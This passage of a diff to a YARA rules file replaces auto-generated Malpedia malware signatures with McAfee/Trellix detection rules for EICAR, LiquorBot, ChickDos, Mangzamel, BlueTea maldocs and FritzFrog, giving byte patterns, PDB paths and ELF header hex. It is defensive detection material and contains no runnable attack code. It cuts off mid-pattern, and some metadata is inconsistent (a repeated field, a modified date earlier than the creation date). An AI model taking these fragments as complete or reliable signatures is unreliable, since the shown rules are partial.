D7F7FFFF6A18598D9534FFFFFF52FFB54CFFFFFFFFB540FFFFFFFFB544FFFFFF5150E8BCF6FFFF }
 
 	condition:
-		7 of them and filesize <294912
+		filesize <1KB and any of them
 }
-rule MALPEDIA_Win_Amadey_Auto : FILE
+rule TRELLIX_ARC_Malw_Eicar : EICAR
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bcbf3802-d510-5a36-b69a-5e392988dabd"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.amadey_auto.yar#L1-L208"
-		license_url = "N/A"
-		logic_hash = "c915860f91ad45f2eb5b15d5deb4fc25f32146851585f24cbb18a6984390dbf0"
+		description = "Rule to detect the EICAR pattern"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "16307b03-7fab-5d68-ad3b-0efcea952fcf"
+		date = "2024-09-01"
+		modified = "2020-08-14"
+		reference = "https://www.eicar.org/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_Eicar.yar#L1-L22"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f"
+		logic_hash = "564b0592f40582fe71e2dab0c0f25c168462f9297c13e7c9f06ac51b492e4533"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "EICAR"
+		malware_type = "eicar"
+		malware_family = "W32/Eicar"
+		actor_type = "Unknown"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { ebb0 b8???????? 83c410 5b }
-		$sequence_1 = { e8???????? 89c2 8b45f4 89d1 ba00000000 f7f1 }
-		$sequence_2 = { c744240805000000 c744240402000000 890424 e8???????? }
-		$sequence_3 = { c9 c3 55 89e5 81ecc8010000 }
-		$sequence_4 = { c70424???????? e8???????? 8b45fc 89442408 c7442404???????? 8b4508 890424 }
-		$sequence_5 = { c744240800020000 8d85f8fdffff 89442404 891424 e8???????? 83ec20 }
-		$sequence_6 = { c70424???????? e8???????? 890424 e8???????? 84c0 7407 c745fc05000000 }
-		$sequence_7 = { 83ec04 8945f4 837df400 7454 8b4508 890424 }
-		$sequence_8 = { 83fa10 722f 8b8d78feffff 42 }
-		$sequence_9 = { 8b8d78feffff 42 8bc1 81fa00100000 7214 8b49fc }
-		$sequence_10 = { 68???????? e8???????? 8d4dcc e8???????? 83c418 }
-		$sequence_11 = { 68???????? e8???????? 8d4db4 e8???????? 83c418 }
-		$sequence_12 = { 52 6a02 6a00 51 ff75f8 ff15???????? ff75f8 }
-		$sequence_13 = { 8bce e8???????? e8???????? 83c418 e8???????? e9???????? 52 }
-		$sequence_14 = { c705????????0c000000 eb31 c705????????0d000000 eb25 83f901 750c }
-		$sequence_15 = { 50 68???????? 83ec18 8bcc 68???????? e8???????? }
-		$sequence_16 = { 8bcc 68???????? e8???????? 8d8d78feffff e8???????? 83c418 }
-		$sequence_17 = { c78584fdffff0f000000 c68570fdffff00 83fa10 722f 8b8d58fdffff 42 }
-		$sequence_18 = { c78520fdffff00000000 c78524fdffff0f000000 c68510fdffff00 83fa10 722f }
-		$sequence_19 = { 51 e8???????? 83c408 8b950cfdffff c78520fdffff00000000 c78524fdffff0f000000 }
+		$s1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" fullword ascii
 
 	condition:
-		7 of them and filesize <529408
+		any of them
 }
-rule MALPEDIA_Win_Redyms_Auto : FILE
+rule TRELLIX_ARC_MALW_Liquorbot : MALWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "da0046e8-7d1d-55ff-bc47-8c4a49be473c"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redyms"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.redyms_auto.yar#L1-L127"
-		license_url = "N/A"
-		logic_hash = "5d36da1238e7bd61b571d2194e775b3f30f76bd59bc3908f725087cbecb38f2e"
+		description = "Rule to detect LiquorBot malware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "73898df8-b5eb-50ac-a2fe-ef9233c251c5"
+		date = "2020-08-19"
+		modified = "2020-08-19"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_liquorbot.yar#L1-L23"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "2448e3ede809331b2370fe9d42d603ad6508be6531a1a8764e0e0621867b6e89"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "MALWARE, FILE"
+		rule_version = "v1"
+		malware_type = "malware"
+		malware_family = "Botnet:W32/LiquorBot"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
+		hash1 = "5b2a9cbda99ed903f75c3b37f0a6b1b9f6c39671a76ed652f3ddba117fd43bc9"
 
 	strings:
-		$sequence_0 = { 32d8 80f3fb 8819 40 41 6683f805 72ee }
-		$sequence_1 = { 8b4604 50 6a00 ffd3 50 ffd7 56 }
-		$sequence_2 = { 33c5 8945fc 56 8b35???????? 8d4ddc 8bd1 }
-		$sequence_3 = { 85f6 0f84e4000000 8b3d???????? 8d4de8 8bd1 33c0 }
-		$sequence_4 = { a1???????? 33c5 8945fc 56 c785ccfeffff04010000 7203 }
-		$sequence_5 = { c745d000000000 ff15???????? 5f 85c0 }
-		$sequence_6 = { 7417 8b45f4 8b4df8 50 51 56 ff15???????? }
-		$sequence_7 = { 8b4608 8b4e04 50 6a00 e8???????? 83c408 }
-		$sequence_8 = { 83c8ff 5b 8be5 5d c3 8bc6 5f }
-		$sequence_9 = { 8d5828 53 8945fc ffd7 83caff 8bc6 f00fc110 }
+		$pattern = { 7F454C4602010100000000000000000002003E0001000000605A4600000000004000000000000000700200000000000000000000400038000A0040001B00090006000000040000004000000000000000400040000000000040004000000000003002000000000000300200000000000000100000000000000300000004000000E00F000000000000E00F400000000000E00F40000000000020000000000000002000000000000000010000000000000004000000040000007C0F0000000000007C0F4000000000007C0F400000000000640000000000000064000000000000000400000000000000010000000500000000000000000000000000400000000000000040000000000040FB29000000000040FB2900000000000010000000000000010000000400000000002A000000000000006A000000000000006A0000000000E4492C0000000000E4492C000000000000100000000000000100000006000000005056000000000000509600000000000050960000000000E014040000000000681307000000000000100000000000000200000006000000405156000000000040519600000000004051960000000000300100000000000030010000000000000800000000000000070000000400000000000000000000000000000000000000000000000000000000000000000000000800000000000000080000000000000051E574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000080150465002A00000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000010000000600000000000000001040000000000000100000000000001FE9290000000000000000000000000010000000000000000000000000000000F000000001000000060000000000000020F969000000000020F929000000000020020000000000000000000000000000100000000000000010000000000000007000000001000000020000000000000000006A000000000000002A0000000000A678110000000000000000000000000020000000000000000000000000000000E0000000040000000200000000000000A8787B0000000000A8783B000000000018000000000000000B0000000000000008000000000000001800000000000000E6000000040000000200000000000000C0787B0000000000C0783B000000000018030000000000000B0000000200000008000000000000001800000000000000F5000000FF }
 
 	condition:
-		7 of them and filesize <98304
+		uint16(0)==0x457f and all of them
 }
-rule MALPEDIA_Win_Revenant_Auto : FILE
+rule TRELLIX_ARC_Chikdos_Malware_Pdb : DOS FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a1374c5f-49ed-5419-afea-48c7289282d4"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revenant"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.revenant_auto.yar#L1-L117"
-		license_url = "N/A"
-		logic_hash = "c5089ea5b4a1f250ceb154edb995f0fd96a084eb423c884f131dc135f20dbca0"
+		description = "Chikdos PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "0174ff2b-57fc-5578-b45e-c08bf8528ee8"
+		date = "2013-12-02"
+		modified = "2020-08-14"
+		reference = "http://hackermedicine.com/tag/trojan-chickdos/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_chickdos_pdb.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "c2a0e9f8e880ac22098d550a74940b1d81bc9fda06cebcf67f74782e55e9d9cc"
+		logic_hash = "150bf809a61aad00df0c49fb6a609b909c84ffb9ca442e143a6c5bf3dfc39314"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "DOS, FILE"
+		rule_version = "v1"
+		malware_type = "dos"
+		malware_family = "Dos:W32/ChickDos"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 4c8d4c2458 4889f1 4889c3 31c0 4889442420 4889da ff15???????? }
-		$sequence_1 = { 4c89e1 e8???????? 488906 31c0 48894608 }
-		$sequence_2 = { ba28000000 b940000000 ffd6 31d2 }
-		$sequence_3 = { eb3a 4c89e1 e8???????? 488906 31c0 }
-		$sequence_4 = { 4889442450 e8???????? 85c0 4189c7 }
-		$sequence_5 = { 4c01c2 31c9 49f7d0 48ffc9 4939c8 740a 448a140a }
-		$sequence_6 = { 41b842000000 4c89e1 ff15???????? 8b4c246c 4989c4 }
-		$sequence_7 = { 8b00 41390424 7592 41c744240801000000 }
-		$sequence_8 = { 4883c328 4839fb 7427 41b808000000 4889f2 4889d9 }
-		$sequence_9 = { e8???????? ba04010000 b940000000 48c744242804010000 41ffd6 4885c0 }
+		$pdb = "\\IntergrateCHK\\Release\\IntergrateCHK.pdb"
 
 	condition:
-		7 of them and filesize <99328
+		uint16(0)==0x5a4d and filesize <600KB and any of them
 }
-rule MALPEDIA_Win_Taurus_Stealer_Auto : FILE
+rule TRELLIX_ARC_Malw_Mangzamel_Trojan : TROJAN FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1d04f49a-1251-5bc9-a2e1-54ed739ba752"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taurus_stealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.taurus_stealer_auto.yar#L1-L133"
-		license_url = "N/A"
-		logic_hash = "5a56120ca5bf111c092d7e02323e7c3983f49990178f81f0fd9b64062b85cfef"
+		description = "Rule to detect Mangzamel  trojan based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "ca77180f-6133-5edb-a36b-78bc6f18d80c"
+		date = "2014-06-25"
+		modified = "2020-08-14"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_mangzamel_trojan_pdb.yar#L1-L26"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "4324580ea162a636b7db1efb3a3ba38ce772b7168b4eb3a149df880a47bd72b7"
+		logic_hash = "bab103c671445e0ea916fae290689d30d45021bdca58a495ebd3d6ca9ca55051"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "TROJAN, FILE"
+		rule_version = "v1"
+		malware_type = "trojan"
+		malware_family = "Trojan:W32/Mangzamel"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 56 8b7508 eb12 8d4e1c e8???????? 8bce e8???????? }
-		$sequence_1 = { 8d4de8 e8???????? 85f6 7408 8d4dd0 e8???????? 8b4508 }
-		$sequence_2 = { 88550f 88450e 8d450e 51 50 8d4d8c e8???????? }
-		$sequence_3 = { 51 50 8bce e8???????? 8d4dcc e8???????? 8d4db4 }
-		$sequence_4 = { 7305 8a5df3 ebf1 8d45f4 c645ff00 50 8bd6 }
-		$sequence_5 = { 8bc2 c1e802 c1e103 8b0483 d3e8 880432 42 }
-		$sequence_6 = { 8d4ddc e8???????? 8d4d90 e8???????? 8d4d84 e8???????? }
-		$sequence_7 = { c74610fe33b90f c7461465dc040b c74618e3804800 c7461cb5492c0d c7462045909c0f c74624dd90c504 c7462870e8f00e }
-		$sequence_8 = { 0f1145c1 885ddf 0fbe4581 250f000080 7905 48 83c8f0 }
-		$sequence_9 = { 40 83f806 7305 8a5df2 ebf1 8d45f3 c645f900 }
+		$pdb = "\\svn\\sys\\binary\\i386\\agony.pdb"
+		$pdb1 = "\\Windows\\i386\\ndisdrv.pdb"
 
 	condition:
-		7 of them and filesize <524288
+		uint16(0)==0x5a4d and filesize <360KB and any of them
 }
-rule MALPEDIA_Win_Bernhardpos_Auto : FILE
+rule TRELLIX_ARC_Rtf_Bluetea_Builder : MALDOC FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7b2918eb-6e4b-588b-9817-19ede384242f"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bernhardpos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bernhardpos_auto.yar#L1-L122"
-		license_url = "N/A"
-		logic_hash = "b0e71b787dda9e2d7e79e7ddddae77406aa6aa8d138e23e43da621be02324cd1"
+		description = "Rule to detect the RTF files created to distribute BlueTea trojan"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "20e4f7b2-b36c-5724-a3aa-4216ed6265ab"
+		date = "2020-04-21"
+		modified = "2020-08-14"
+		reference = "https://blog.360totalsecurity.com/en/bluetea-action-drive-the-life-trojan-update-email-worm-module-and-spread-through-covid-19-outbreak/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALDOC_rtf_bluetea_builder.yar#L1-L30"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "4a3eeaed22342967a95302a4f087b25f50d61314facc6791f756dcd113d4f277"
+		logic_hash = "6c4007fb7ef4819141db63050215dcbb3d2c17e7cdcdbb6cfb4f4b045bb5736b"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "MALDOC, FILE"
+		rule_version = "v1"
+		malware_type = "maldoc"
+		malware_family = "Maldoc:W32/BlueTea"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 0f840a010000 8d85ecfbffff 50 682a020000 68???????? 8b8df0fbffff }
-		$sequence_1 = { ff15???????? 8b8d54feffff 668901 6a10 8d855cfeffff 50 }
-		$sequence_2 = { 0fbe5415f8 33ca 8b4508 0345f4 8808 ebc7 5f }
-		$sequence_3 = { 8945fc 8b45fc 8b4d08 03483c 894df4 }
-		$sequence_4 = { 8808 ebc7 5f 5e 5b }
-		$sequence_5 = { 668b0d???????? 66894dfc 8a15???????? 8855fe 8d45f8 50 ff15???????? }
-		$sequence_6 = { 83e863 5f 5e 5b }
-		$sequence_7 = { 51 ff15???????? 8d85ecfeffff 50 e8???????? 83c404 85c0 }
-		$sequence_8 = { eb2c 33c0 eb2d 33c0 eb29 }
-		$sequence_9 = { e8???????? 83c404 6a01 8d85d0feffff 50 ff15???????? }
+		$sequence = { 7B??72??6631??????65666C616E6731??32??????????69??????????????67????36??75??32??????656666????35????????656666????????73??666462????33??35????????74??68????????68????????36??73??73??66??????68????????36??73??73??6662????5C646566??616E6731??33??5C646566??616E67666532??35????????656D656C616E6731??33??5C74??656D656C616E67666532??35????????656D656C616E6763????7B??666F6E74??62??????6630??????69??????????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????0A????6631??5C6662????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??2763????2763????2763????276535????????66616C74??5369????????????7D??5C6633????6662????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??34??35????????30????3630??30??30????????????72??6120????74??3B????0A????6633??5C6662????69??????????69????????????6172??6574??5C6670??71??7B??2A??????6E6F73??20??32??6630??????????30??30????33??32??34??43616C69????????????5C6633??5C6662????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??5C2763????2763????2763????276535????????7B??666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????5C666462????6A??72??6633??35????????62????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??2763????2763????2763????276535????????66616C74??5369????????????7D??0A????66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??34??35????????30????3630??30??30????????????72??613B????5C6662????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????0A????666C6F6D69????????????31??????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????5C666462????6E6F72??6633??35????????62????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??2763????2763????2763????276535????????66616C74??5369????????????7D??0A????66??????69????????????31??????????62????69??????????69????????????6172??6574??5C6670??71??7B??2A??????6E6F73??20??32??6630??????????30??30????33??32??34??43616C69????????????5C6662????69????????????31??????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????5C6634??5C6662????69??????????6D616E5C6663????72??6574??33??5C6670??71??20??????6573??4E6577??526F6D616E20????3B????0A????6634??5C6662????69??????????6D616E5C6663????72??6574??30????6670??71??20??????6573??4E6577??526F6D616E20????72??7D??5C6634??5C6662????69??????????6D616E5C6663????72??6574??3631??????72??32??5469????????????77??526F6D616E20????6565??????7B??6634??5C6662????69??????????6D616E5C6663????72??6574??3632??????72??32??5469????????????77??526F6D616E20??????3B????5C6634??5C6662????69??????????6D616E5C6663????72??6574??37375C6670??71??20??????6573??4E6577??526F6D616E20??486562????77??3B????0A????6634??5C6662????69??????????6D616E5C6663????72??6574??3738??????72??32??5469????????????77??526F6D616E20??4172??62????29??7D??5C6634??5C6662????69??????????6D616E5C6663????72??6574??38??5C6670??71??20??????6573??4E6577??526F6D616E20????6C74??63??7D??5C6634??5C6662????69??????????6D616E5C6663????72??6574??3633??????72??32??5469????????????77??526F6D616E20??5669????????????73??29??7D??0A????6631??32??????69??????????????6C5C6663????72??6574??5C6670??71??20????6D5375??20????73??6572??7B??2A??????6C74??5369????????????7D??5C6633??30??????69??????????????6D616E5C6663????72??6574??33??5C6670??71??20????6D62????6120????74??20????3B????5C6633??31??????69??????????????6D616E5C6663????72??6574??30????6670??71??20????6D62????6120????74??20????72??7D??5C6633??33??????69??????????????6D616E5C6663????72??6574??3631??????72??32??43616D62????6120????74??20????6565??????0D????????33??34??6662????69??????????6D616E5C6663????72??6574??3632??????72??32??43616D62????6120????74??20??????3B????5C6633??375C6662????69??????????6D616E5C6663????72??6574??38??5C6670??71??20????6D62????6120????74??20????6C74??63??7D??5C6633??38??????69??????????????6D616E5C6663????72??6574??3633??????72??32??43616D62????6120????74??20??5669????????????73??29??7D??5C6634??30??????69??????????????69????????????6172??6574??33??5C6670??71??20????6C69????????????3B????0A????6634??31??????69??????????????69????????????6172??6574??30????6670??71??20????6C69????????????72??7D??5C6634??33??????69??????????????69????????????6172??6574??3631??????72??32??43616C69????????????6565??????7B??6634??34??6662????69??????????69????????????6172??6574??3632??????72??32??43616C69????????????72??7D??5C6634??375C6662????69??????????69????????????6172??6574??38??5C6670??71??20????6C69????????????6C74??63??7D??0A????6634??38??????69??????????????69????????????6172??6574??3633??????72??32??43616C69????????????69????????????73??29??7D??5C6634??32??????69??????????????6C5C6663????72??6574??5C6670??71??20????2763????2763????2763????276535????????74??72??3B????5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??33??5C6670??71??20??????6573??4E6577??526F6D616E20????3B????0A????666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??30????6670??71??20??????6573??4E6577??526F6D616E20????72??7D??5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3631??????72??32??5469????????????77??526F6D616E20????6565??????7B??666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3632??????72??32??5469????????????77??526F6D616E20??????3B????0A????666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??37375C6670??71??20??????6573??4E6577??526F6D616E20??486562????77??3B????5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3738??????72??32??5469????????????77??526F6D616E20??4172??62????29??7D??5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??38??5C6670??71??20??????6573??4E6577??526F6D616E20????6C74??63??7D??0A????666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3633??????72??32??5469????????????77??526F6D616E20??5669????????????73??29??7D??5C666462????6A??72??6633??35????????62????69??????????6C5C6663????72??6574??5C6670??71??20????6D5375??20????73??6572??7B??2A??????6C74??5369????????????7D??5C66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??33??5C6670??71??20????6D62????6120????3B????0A????66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??30????6670??71??20????6D62????6120????72??7D??5C66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3631??????72??32??43616D62????6120????6565??????7B??66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3632??????72??32??43616D62????6120??????3B????0A????66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??38??5C6670??71??20????6D62????6120????6C74??63??7D??5C66??????616A?? }
 
 	condition:
-		7 of them and filesize <368640
+		uint16(0)==0x5c7b and filesize <100KB and all of them
 }
-rule MALPEDIA_Win_Fancyfilter_Auto : FILE
+rule TRELLIX_ARC_MALW_Fritzfrog : BOTNET FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "80aed11c-235c-5a1c-926a-79da2aeef3b0"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fancyfilter"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fancyfilter_auto.yar#L1-L112"
-		license_url = "N/A"
-		logic_hash = "3c31ea55e7982b34390b9c81f5913450958243c449d75663ce6d5f15ca3bbd38"
+		description = "Rule to detect Fritzfrog"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "4c553279-7e0c-5602-944d-ad8a47edf4ea"
+		date = "2020-08-20"
+		modified = "2020-08-20"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_fritzfrog.yar#L1-L26"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "488c807ecf0a9e981b2c1f2f5bb2e3072952d11f7cbf3a354bc85dc8e88b8b09"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BOTNET, FILE"
+		rule_version = "v1"
+		malware_type = "botnet"
+		malware_family = "Botnet:W32/Fritzfrog"
+		actor_type = "Cybercrime"
+		hash1 = "103b8404dc64c9a44511675981a09fd01395ee837452d114f1350c295357c046"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 740a 66833800 7404 b001 eb02 }
-		$sequence_1 = { a1???????? 83c012 50 ff15???????? }
-		$sequence_2 = { 8b07 83e810 50 83c610 56 }
-		$sequence_3 = { ff15???????? 83c420 83f803 7409 83f806 }
-		$sequence_4 = { 83c012 50 ffd6 a1???????? }
-		$sequence_5 = { 85c0 750d 8b472c a801 7406 83c804 }
-		$sequence_6 = { 85c0 740a 66833800 7404 b001 eb02 }
-		$sequence_7 = { 81e3ffffff00 ff15???????? 50 ff15???????? }
-		$sequence_8 = { 85c0 740a 66833800 7404 b001 }
-		$sequence_9 = { b805400080 c20400 56 8b742408 }
+		$pattern = { 7F454C4602010100000000000000000002003E000100000090D34500000000004000000000000000C8010000000000000000000040003800070040000D000300060000000400000040000000000000004000400000000000400040000000000088010000000000008801000000000000001000000000000004000000040000009C0F0000000000009C0F4000000000009C0F400000000000640000000000000064000000000000000400000000000000010000000500000000000000000000000000400000000000000040000000000083F23E000000000083F23E00000000000010000000000000010000000400000000003F000000000000007F000000000000007F00000000006C834500000000006C834500000000000010000000000000010000000600000000908400000000000090C400000000000090C4000000000060EC0400000000005809070000000000001000000000000051E574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000080150465002A000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000100000006000000000000000010400000000000001000000000000083E23E00000000000000000000000000100000000000000000000000000000004100000001000000020000000000000000007F000000000000003F0000000000C0271B0000000000000000000000000020000000000000000000000000000000720000000300000000000000000000000000000000000000C0275A00000000007C000000000000000000000000000000010000000000000000000000000000004900000001000000020000000000000040289A000000000040285A0000000000D83600000000000000000000000000002000000000000000000000000000000053000000010000000200000000000000185F9A0000000000185F5A0000000000380D0000000000000000000000000000080000000000000000000000000000005D000000010000000200000000000000506C9A0000000000506C5A0000000000000000000000000000000000000000000100000000000000000000000000000067000000010000000200000000000000606C9A0000000000606C5A00000000000C172A0000000000000000000000000020000000000000000000000000000000070000000100000003000000000000000090C400000000000090840000000000004B0300000000000000000000000000200000000000000000000000000000001200000001000000030000000000000000DBC7000000000000DB87000000000050A10100000000000000000000000000200000000000000000000000000000001800000008000000030000000000